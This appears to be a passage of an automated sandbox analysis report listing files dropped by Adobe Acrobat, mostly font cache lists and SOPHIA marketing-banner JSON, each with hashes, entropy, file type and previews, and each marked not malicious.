Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7712

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.360999788013945
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJM3g98kUwPeUkwRe9:YvXKX9PH2UTbdFQGMbLUkee9
MD5:	C39B6D943DC7B9B4942C60A3DC0EFD60
SHA1:	4794692D7A1D45B128F5BB24B2E4606012E7D071
SHA-256:	561DA09D275CC3651091BAF3EF5CB3DF7586283A0FF78C067BC702C4FD448FD1
SHA-512:	A72D97B166618BED163406E28FBA0416A2D25411320C756147456B1C364B273DFD9D23810A8068702430DB450E58919AADAF80CE1527F4D040869B0C69627D85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.300127592750725
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJfBoTfXpnrPeUkwRe9:YvXKX9PH2UTbdFQGWTfXcUkee9
MD5:	5D73C929558E97482BA8EEE1FD127D56
SHA1:	5A220C5011FBF62A03DD3886BF2AB4F84BA1032E
SHA-256:	1AD7E31DC0BB03116D4B8BF6F5E9463CF0705FD0F770540CA6D7CA00A739A783
SHA-512:	67FCABF5458BA9E77941E313D73FBABEF51252FC5BEDE57F258835E9106B72409AC31BEDC7E9BC22C48D5C18A0A42CBFCFE9C8DE6DF0BB654977DAB250F6557F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.278080192750084
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJfBD2G6UpnrPeUkwRe9:YvXKX9PH2UTbdFQGR22cUkee9
MD5:	C51EB812A1359B871B4B8AE1A8A625BB
SHA1:	87721CA10EF6F94183713D475BA44F73F5C20E92
SHA-256:	61DAC2EC84DB82331D9F40885184C1F84655EC90AD188B1AFF8852CDC51AC1F9
SHA-512:	1B070F6C862ACD97F5E1FE7B08CDA0092FAF09C6A096A2BD19A7B00C6973FB69D0F824BBCB866F743866CB50632B582CA452EEA6B88E7873FABBDA547008DDF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.335195564629087
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJfPmwrPeUkwRe9:YvXKX9PH2UTbdFQGH56Ukee9
MD5:	50AFB0107152C797462755063B3599B8
SHA1:	C4B1DF611476837907BB3A550B85C9774FA37160
SHA-256:	A3AB0D94DB41F1A66AD9E7F625F50FE47348AE7D22EDC473CC2C3533DBAC5BC5
SHA-512:	A5464010B094A392E9F3879CC34BC71D4C2C6189E960EAEDB9AB52ED7516507A6F426E03FC218C3C2FD9282C60F369CF679F8044609060B6BE0CF4E3B1E4DD1B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68999977957655
Encrypted:	false
SSDEEP:	24:Yv6X9PWUXDNpLgE9cQx8LennAvzBvkn0RCmK8czOCCSV:YvGPWwRhgy6SAFv5Ah8cv/V
MD5:	A4B4265AD0ABFCF433D715B8F465E695
SHA1:	7AB4A2D456BDAFC39ED5BC8A350069CBE65B901F
SHA-256:	F13938B6DBD1B6CF363A3E349A06F6017458897F7828272F6F9BC35E47BCD1B3
SHA-512:	C3FFCCDE1A3366B6F6B9529FF01CCA800D4DD99A827DD8807DB97ED541DF000D55FAB8BCC33A885AEE4B761FFDB341C23200DBA6C77654E40BB5AFB758B50007
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2774207289519035
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJf8dPeUkwRe9:YvXKX9PH2UTbdFQGU8Ukee9
MD5:	540BDFF4E979BECC3E8DE477B9F1EC1F
SHA1:	89D511F0911826695C658DC3406B1EF0061A30BE
SHA-256:	FF7A76A0BD55E720998FE672728FCCBE273090D98527E0721F0C3D53835A906B
SHA-512:	DBD022EA244D5F778B0627ECBA8C3F33D65B820CC37A341E8B0B04863B6F9291D56E116DA26BB0EE2A5383EDB7E63528BF3177545D225E77DFC54D30AEE6143D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.280595759302246
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJfQ1rPeUkwRe9:YvXKX9PH2UTbdFQGY16Ukee9
MD5:	E7C6CDFA1C0E2A02C93B682A5B7E5E5E
SHA1:	E6C89DC405EE9A928E23175D5BD3528E297CC32F
SHA-256:	D2939296C42A78EA5F33C77DF9F96F00CAFC06FAC4F20504BD1F0997FAD8DE76
SHA-512:	C7E5B8F7746C7BA9FB2F3EB650578AABA8F0DA26C1E567ABA9CE83F49A643D4A59C20ABFF39EEFA5561A90E4A8691DA50FF87F4A00615D007D38CA90F4AAFB96
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289961518786296
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJfFldPeUkwRe9:YvXKX9PH2UTbdFQGz8Ukee9
MD5:	9435A3989B4A56C6D51F54B404FEE602
SHA1:	28374F3A63312D876BE17B706EFA9D06F7AC5730
SHA-256:	42A4AB16D4C6DE208BA78108EA36381311B5565A4B0E1CCF36EFC1E2B569EDB3
SHA-512:	DF57D0140CD14E06753BAA01ACF68B7049ED1B4EFF9BCC9E50714987ED949ABEA325D77F94B16F2CCF38AAEDA58C2DDE18DAD504848FFCEC8CBBB8EAF8B20152
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.304893562892312
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJfzdPeUkwRe9:YvXKX9PH2UTbdFQGb8Ukee9
MD5:	A97E35560BC10B5B05F34D5EA79132A8
SHA1:	9F8EB8C389D19D6C0BCB975207B55DDF066D20E7
SHA-256:	00A1D9D79B6768B980179002A4D2F0C4D76B1FCC1696729AE5B783559D00F39D
SHA-512:	0F8CCDE05562B81CDB2D0B337768E5BC602BAA2A286E23D16ED3670504D65851A2E1C1CDCEDAF75A0D0F140FE9797086F455BACAF1AF86C1782E1CED6275413F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284943071162167
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJfYdPeUkwRe9:YvXKX9PH2UTbdFQGg8Ukee9
MD5:	F00B361A1A8ED9436358519E0E6623F2
SHA1:	A9BA9AB6513EA0C5BD21216A0E66CDA93C45C6B8
SHA-256:	448E5BCE05A96314AEB605AC71041449A160A8926E0E6617C181F938FD4E1082
SHA-512:	78DE5600C539E2483C99C790B69485C1BACB06D89819E888D17398D3BF377180BDED01431AC143A0D5A0626F6DEEED8C0FF64B5ACDB2E84C5145B187F730A330
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.270410655676685
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJf+dPeUkwRe9:YvXKX9PH2UTbdFQG28Ukee9
MD5:	8ECAA258B960787FCCEAC417E05333A1
SHA1:	823F8F9C0D3C5FF78D0A9433DA250C6FEADCACEF
SHA-256:	6BCE8F8FC0840E75F7D6C938824D4798AA9AAC5F08BE7B5D45FC63BE484E4613
SHA-512:	F8FA269ACD3EDA880BED351033222A1CB60440902005DB1E7A635F6928D8738D5F1E4989BA735EE27F5829889B8875E0ED8901487AFAB161740D857689878A82
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.268593652883026
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJfbPtdPeUkwRe9:YvXKX9PH2UTbdFQGDV8Ukee9
MD5:	B2FA2973B79FD169AC11B8D8C1B1C23F
SHA1:	C9A73748A5781B78517A8C7DFB7147FAB56713B4
SHA-256:	327F53869D25DD808E11D21F937D378BD4F316907C6136465D215156FDB58918
SHA-512:	623B5905F247BC484449A7FA8289DE873A65B70A503B40C910B3762AFEC2DC7BB9A7BCAC173F3EA12E41DEAF3BED68C0E9D714F9F2D984104AD765D112E88CB3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.271452182205149
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJf21rPeUkwRe9:YvXKX9PH2UTbdFQG+16Ukee9
MD5:	CF7046E15DDFA2824365C0279C5A26F3
SHA1:	719CB91B9B47789409D69C14A5C6BB97474133D8
SHA-256:	989D85DC45D8A4C35188AD01670ECE5D72FD2043FBF9720E0D6D0E2A6D96BC2D
SHA-512:	86BF9C122D800C858C1DB772133F17FAF465BE221E66C182E6F4C34B3072A1D61C9659913AE96F45BCF0692ED4B0D7098322E5417A36879DFD939BE5FD1D2F45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661979992869688
Encrypted:	false
SSDEEP:	24:Yv6X9PWUXD1amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSV:YvGPWw9BgkDMUJUAh8cvMV
MD5:	4E60A99DCDCAEB1DD888C5DB8D22801D
SHA1:	F7898308B813E2E161DDAEBE16844B5B42F7F4F4
SHA-256:	35790C0D090890C84053360FB30CFDBF154BBCCB3EBB06A162473FBB2540B60E
SHA-512:	320E83601822DEA9D6636C494B62D0564D13E258AE2469ECF3CAC19C9768589FBD89A90DFD1E016237A15B81AB1EF053099FBBADC93F196B8D6B00C003043D11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.246738074369049
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJfshHHrPeUkwRe9:YvXKX9PH2UTbdFQGUUUkee9
MD5:	EF572AB2491B7C080B821A7ED9999BB8
SHA1:	EA890EED3E9F4C39757CEC523FA6769D275FF3BB
SHA-256:	313343CDA5E73F8A5C41CA30F7DE5C6BD428BC2E6D2F9C2095C8A9593A79A866
SHA-512:	931A18E8AE8C8E9FF29AD1836D012AD45707A130BAACB94B245E695805D9F3A7D02FFAB30607CF40E52A18AE6C0CBE01C636828F1042F41078E1253700A3B2D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.252102006083339
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9PBln2UXjb24kF0YSvoAvJTqgFCrPeUkwRe9:YvXKX9PH2UTbdFQGTq16Ukee9
MD5:	930E5C800300BEE32F9152E70BEFB4D5
SHA1:	C4DBDE8F43B138795F6AFEB3EFA4F059FD84341C
SHA-256:	5EEEAECDC70650B6B5B0A4A686C6A7615CFA48C7834DE04CB4CAF46748CDB87A
SHA-512:	E03CD3E0B13642C3D4B10AEF65BC1536A918F121774783FB4EFDCFC4F26BBFF8C2049393B3E9B8286EF9E6C6C5FE0FDF40409131BCCC8E52D1CD53AB340AD642
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc778b0a-4bb2-4006-83b7-161b01d7ff7d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736762401376,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.125799731382387
Encrypted:	false
SSDEEP:	24:YRTKa5UayuraIkXRBl4B6q2B7ryP70x7mcjxF98j0SYStz//2ELR2LSYMCxcj8VQ:Yafm6rpRxFgVLJfsc4VvenV99t3d
MD5:	A6A6975E4D4C95B9A61E90C7E6C06957
SHA1:	30965D4E3C6FED9AFFD7648DC024C9C4778D2D1D
SHA-256:	F36000A31A5F3E628B2085A0DC4C30164844EF4DE8723C5E81B19AE851DC1844
SHA-512:	EC4A9956A0D720E0F994783792304AB04E2A3838AFB2250DE14B9C46D2E0882D03D588AC2519BAA856C6F03D5285274FE08EDA364C1FB3E1CDB1F4D4CA453A4C
Malicious:	false
